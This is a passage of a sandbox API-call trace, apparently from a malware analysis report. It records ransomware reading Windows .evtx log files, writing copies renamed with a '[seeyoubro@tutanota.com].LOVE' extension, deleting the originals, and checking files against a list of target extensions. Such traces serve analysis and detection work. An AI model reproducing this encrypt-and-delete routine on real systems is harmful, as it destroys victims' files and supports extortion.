dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0207.214] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.214] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.214] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0207.214] GetLastError () returned 0x0 [0207.214] ReadFile (in: hFile=0x33c, lpBuffer=0x3e68020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesRead=0x315fecc*=0x11000, lpOverlapped=0x0) returned 1 [0207.241] WriteFile (in: hFile=0x37c, lpBuffer=0x3e68020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesWritten=0x315fc94*=0x11010, lpOverlapped=0x0) returned 1 [0207.243] ReadFile (in: hFile=0x33c, lpBuffer=0x3e68020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0207.243] WriteFile (in: hFile=0x37c, lpBuffer=0x3e68020*, nNumberOfBytesToWrite=0x12e, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesWritten=0x315fc94*=0x12e, lpOverlapped=0x0) returned 1 [0207.243] SetEndOfFile (hFile=0x37c) returned 1 [0207.244] CloseHandle (hObject=0x37c) returned 1 [0207.245] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.245] SetEndOfFile (hFile=0x33c) returned 1 [0207.247] CloseHandle (hObject=0x33c) returned 1 [0207.247] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0207.247] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx")) returned 1 [0207.480] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0207.480] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0207.480] lstrlenW (lpString=".doc") returned 4 [0207.480] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0207.480] lstrlenW (lpString=".docx") returned 5 [0207.480] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0207.480] lstrlenW (lpString=".pdf") returned 4 [0207.481] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0207.481] lstrlenW (lpString=".xls") returned 4 [0207.481] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0207.481] lstrlenW (lpString=".xlsx") returned 5 [0207.481] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0207.481] lstrlenW (lpString=".ppt") returned 4 [0207.481] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0207.481] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0207.481] lstrlenW (lpString=".zip") returned 4 [0207.481] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0207.481] lstrlenW (lpString=".rar") returned 4 [0207.481] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0207.481] lstrlenW (lpString=".bz2") returned 4 [0207.481] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0207.481] lstrlenW (lpString=".7z") returned 3 [0207.481] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0207.481] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0207.481] lstrlenW (lpString=".dbf") returned 4 [0207.481] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0207.481] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0207.481] lstrlenW (lpString=".1cd") returned 4 [0207.481] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0207.481] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0207.481] lstrlenW (lpString=".jpg") returned 4 [0207.481] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0207.481] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0207.481] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0207.481] lstrlenW (lpString=".doc") returned 4 [0207.482] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0207.482] lstrlenW (lpString=".docx") returned 5 [0207.482] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0207.482] lstrlenW (lpString=".pdf") returned 4 [0207.482] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0207.482] lstrlenW (lpString=".xls") returned 4 [0207.482] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0207.482] lstrlenW (lpString=".xlsx") returned 5 [0207.482] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0207.482] lstrlenW (lpString=".ppt") returned 4 [0207.482] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0207.482] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0207.482] lstrlenW (lpString=".zip") returned 4 [0207.482] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0207.482] lstrlenW (lpString=".rar") returned 4 [0207.482] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0207.482] lstrlenW (lpString=".bz2") returned 4 [0207.482] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0207.482] lstrlenW (lpString=".7z") returned 3 [0207.482] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0207.482] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0207.482] lstrlenW (lpString=".dbf") returned 4 [0207.482] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0207.482] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0207.482] lstrlenW (lpString=".1cd") returned 4 [0207.482] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0207.482] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0207.482] lstrlenW (lpString=".jpg") returned 4 [0207.482] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0207.483] lstrcmpiW (lpString1=".evtx", lpString2=".LOVE") returned -1 [0207.483] lstrlenW (lpString="Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 46 [0207.483] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0207.483] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=69632) returned 1 [0207.483] CloseHandle (hObject=0x384) returned 1 [0207.483] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx")) returned 0x20 [0207.483] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0207.483] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0207.484] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.484] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.484] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0207.484] GetLastError () returned 0x0 [0207.484] ReadFile (in: hFile=0x384, lpBuffer=0x3e68020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesRead=0x315fecc*=0x11000, lpOverlapped=0x0) returned 1 [0207.549] WriteFile (in: hFile=0x370, lpBuffer=0x3e68020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesWritten=0x315fc94*=0x11010, lpOverlapped=0x0) returned 1 [0207.551] ReadFile (in: hFile=0x384, lpBuffer=0x3e68020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0207.552] WriteFile (in: hFile=0x370, lpBuffer=0x3e68020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesWritten=0x315fc94*=0x130, lpOverlapped=0x0) returned 1 [0207.552] SetEndOfFile (hFile=0x370) returned 1 [0207.552] CloseHandle (hObject=0x370) returned 1 [0207.554] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.554] SetEndOfFile (hFile=0x384) returned 1 [0207.556] CloseHandle (hObject=0x384) returned 1 [0207.556] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0207.556] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx")) returned 1 [0207.556] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54 [0207.556] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54 [0207.557] lstrlenW (lpString=".doc") returned 4 [0207.557] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0207.557] lstrlenW (lpString=".docx") returned 5 [0207.557] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0207.557] lstrlenW (lpString=".pdf") returned 4 [0207.557] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0207.558] lstrlenW (lpString=".xls") returned 4 [0207.558] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0207.558] lstrlenW (lpString=".xlsx") returned 5 [0207.558] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0207.558] lstrlenW (lpString=".ppt") returned 4 [0207.558] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0207.558] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54 [0207.558] lstrlenW (lpString=".zip") returned 4 [0207.558] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0207.558] lstrlenW (lpString=".rar") returned 4 [0207.558] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0207.558] lstrlenW (lpString=".bz2") returned 4 [0207.558] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0207.558] lstrlenW (lpString=".7z") returned 3 [0207.558] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0207.558] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54 [0207.558] lstrlenW (lpString=".dbf") returned 4 [0207.558] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0207.558] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54 [0207.558] lstrlenW (lpString=".1cd") returned 4 [0207.558] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0207.559] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54 [0207.559] lstrlenW (lpString=".jpg") returned 4 [0207.559] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0207.559] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54 [0207.559] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54 [0207.559] lstrlenW (lpString=".doc") returned 4 [0207.559] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0207.559] lstrlenW (lpString=".docx") returned 5 [0207.559] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0207.559] lstrlenW (lpString=".pdf") returned 4 [0207.559] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0207.559] lstrlenW (lpString=".xls") returned 4 [0207.559] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0207.559] lstrlenW (lpString=".xlsx") returned 5 [0207.559] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0207.559] lstrlenW (lpString=".ppt") returned 4 [0207.559] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0207.559] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54 [0207.559] lstrlenW (lpString=".zip") returned 4 [0207.559] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0207.559] lstrlenW (lpString=".rar") returned 4 [0207.559] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0207.559] lstrlenW (lpString=".bz2") returned 4 [0207.559] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0207.559] lstrlenW (lpString=".7z") returned 3 [0207.559] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0207.559] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54 [0207.559] lstrlenW (lpString=".dbf") returned 4 [0207.560] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0207.560] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54 [0207.560] lstrlenW (lpString=".1cd") returned 4 [0207.560] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0207.560] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54 [0207.560] lstrlenW (lpString=".jpg") returned 4 [0207.560] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0207.560] lstrcmpiW (lpString1=".evtx", lpString2=".LOVE") returned -1 [0207.560] lstrlenW (lpString="Microsoft-Windows-SMBServer%4Security.evtx") returned 42 [0207.560] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0207.560] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=69632) returned 1 [0207.560] CloseHandle (hObject=0x384) returned 1 [0207.560] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx")) returned 0x20 [0207.561] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0207.561] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0207.561] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.561] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.561] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0207.598] GetLastError () returned 0x0 [0207.598] ReadFile (in: hFile=0x384, lpBuffer=0x3e68020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesRead=0x315fecc*=0x11000, lpOverlapped=0x0) returned 1 [0207.615] WriteFile (in: hFile=0x370, lpBuffer=0x3e68020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesWritten=0x315fc94*=0x11010, lpOverlapped=0x0) returned 1 [0207.616] ReadFile (in: hFile=0x384, lpBuffer=0x3e68020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0207.616] WriteFile (in: hFile=0x370, lpBuffer=0x3e68020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesWritten=0x315fc94*=0x128, lpOverlapped=0x0) returned 1 [0207.616] SetEndOfFile (hFile=0x370) returned 1 [0207.617] CloseHandle (hObject=0x370) returned 1 [0207.618] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.618] SetEndOfFile (hFile=0x384) returned 1 [0207.619] CloseHandle (hObject=0x384) returned 1 [0207.619] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0207.620] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx")) returned 1 [0207.620] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50 [0207.620] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50 [0207.620] lstrlenW (lpString=".doc") returned 4 [0207.620] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0207.620] lstrlenW (lpString=".docx") returned 5 [0207.620] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0207.620] lstrlenW (lpString=".pdf") returned 4 [0207.620] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0207.620] lstrlenW (lpString=".xls") returned 4 [0207.620] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0207.620] lstrlenW (lpString=".xlsx") returned 5 [0207.620] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0207.620] lstrlenW (lpString=".ppt") returned 4 [0207.620] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0207.620] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50 [0207.620] lstrlenW (lpString=".zip") returned 4 [0207.620] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0207.620] lstrlenW (lpString=".rar") returned 4 [0207.620] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0207.620] lstrlenW (lpString=".bz2") returned 4 [0207.620] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0207.620] lstrlenW (lpString=".7z") returned 3 [0207.621] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0207.621] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50 [0207.621] lstrlenW (lpString=".dbf") returned 4 [0207.621] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0207.621] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50 [0207.621] lstrlenW (lpString=".1cd") returned 4 [0207.621] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0207.621] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50 [0207.621] lstrlenW (lpString=".jpg") returned 4 [0207.621] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0207.621] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50 [0207.621] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50 [0207.621] lstrlenW (lpString=".doc") returned 4 [0207.621] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0207.621] lstrlenW (lpString=".docx") returned 5 [0207.621] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0207.621] lstrlenW (lpString=".pdf") returned 4 [0207.621] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0207.621] lstrlenW (lpString=".xls") returned 4 [0207.621] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0207.621] lstrlenW (lpString=".xlsx") returned 5 [0207.621] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0207.621] lstrlenW (lpString=".ppt") returned 4 [0207.621] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0207.621] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50 [0207.621] lstrlenW (lpString=".zip") returned 4 [0207.621] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0207.621] lstrlenW (lpString=".rar") returned 4 [0207.621] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0207.621] lstrlenW (lpString=".bz2") returned 4 [0207.621] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0207.621] lstrlenW (lpString=".7z") returned 3 [0207.622] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0207.622] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50 [0207.622] lstrlenW (lpString=".dbf") returned 4 [0207.622] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0207.622] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50 [0207.622] lstrlenW (lpString=".1cd") returned 4 [0207.622] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0207.622] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50 [0207.622] lstrlenW (lpString=".jpg") returned 4 [0207.622] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0207.622] lstrcmpiW (lpString1=".evtx", lpString2=".LOVE") returned -1 [0207.622] lstrlenW (lpString="Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 49 [0207.622] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0207.622] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=69632) returned 1 [0207.622] CloseHandle (hObject=0x384) returned 1 [0207.622] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx")) returned 0x20 [0207.622] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0207.622] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0207.623] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.623] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.623] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0207.623] GetLastError () returned 0x0 [0207.623] ReadFile (in: hFile=0x384, lpBuffer=0x3e68020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesRead=0x315fecc*=0x11000, lpOverlapped=0x0) returned 1 [0207.633] WriteFile (in: hFile=0x370, lpBuffer=0x3e68020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesWritten=0x315fc94*=0x11010, lpOverlapped=0x0) returned 1 [0207.635] ReadFile (in: hFile=0x384, lpBuffer=0x3e68020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0207.635] WriteFile (in: hFile=0x370, lpBuffer=0x3e68020*, nNumberOfBytesToWrite=0x136, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesWritten=0x315fc94*=0x136, lpOverlapped=0x0) returned 1 [0207.635] SetEndOfFile (hFile=0x370) returned 1 